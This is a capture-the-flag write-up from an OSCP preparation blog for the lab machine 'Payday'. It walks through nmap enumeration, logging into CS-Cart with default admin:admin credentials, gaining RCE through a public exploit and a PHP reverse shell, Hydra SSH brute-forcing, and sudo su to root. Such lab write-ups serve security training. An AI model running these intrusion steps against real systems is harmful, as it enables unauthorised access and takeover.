Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧵 Let's Unpack

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

Payday

Use sudo su with full sudo rights

Summary

  • Discovered multiple open services including Apache, IMAP/POP3, Samba, and SSH.

  • CS-Cart web application on port 80 allowed default login as admin:admin.

  • Used exploit for CS-Cart to get RCE via PHP webshell.

  • SSH brute-forced user patrick's credentials using Hydra.

  • Privilege escalation via sudo su as patrick had full sudo access.

🧵 Let's Unpack

🔎 Enumeration

nmap -A -T4 -sC -sN -oN nmapFull -p 22,80,110,139,143,445,993,995 192.168.167.39
  • Port 80 hosted CS-Cart (Apache 2.2.4 with PHP 5.2.3)

  • IMAP, POP3, and SSL variants running via Dovecot

  • Samba open on ports 139 and 445

  • SSH running OpenSSH 4.6p1

âš¡ Initial Foothold

  • Web login worked with default creds: admin:admin

  • Got a shell as www-data

python -c 'import pty; pty.spawn("/bin/bash")'

🪜 Privilege Escalation

  • SSH brute-force was required for user patrick

hydra -L users.txt -P users.txt -e nsr -q ssh://192.168.167.39 -t 4 -w 5 -f
[22][ssh] host: 192.168.120.85   login: patrick   password: patrick




# Login found: patrick : patrick
ssh patrick@192.168.167.39
  • Full sudo access for patrick allowed immediate escalation:

# using SUdo
sudo -l
>
User patrick may run the following commands on this host:
    (ALL) ALL

# simply doing sudo su gave us root shell
sudo su

## Boom bot proof.txt

PreviousPelicanNextSnookums

Last updated 1 month ago

Was this helpful?

Used CS-Cart exploit for RCE

Uploaded PHP reverse shell (Ivan Sincek’s from )

🔥
EDB 48891
revshells.com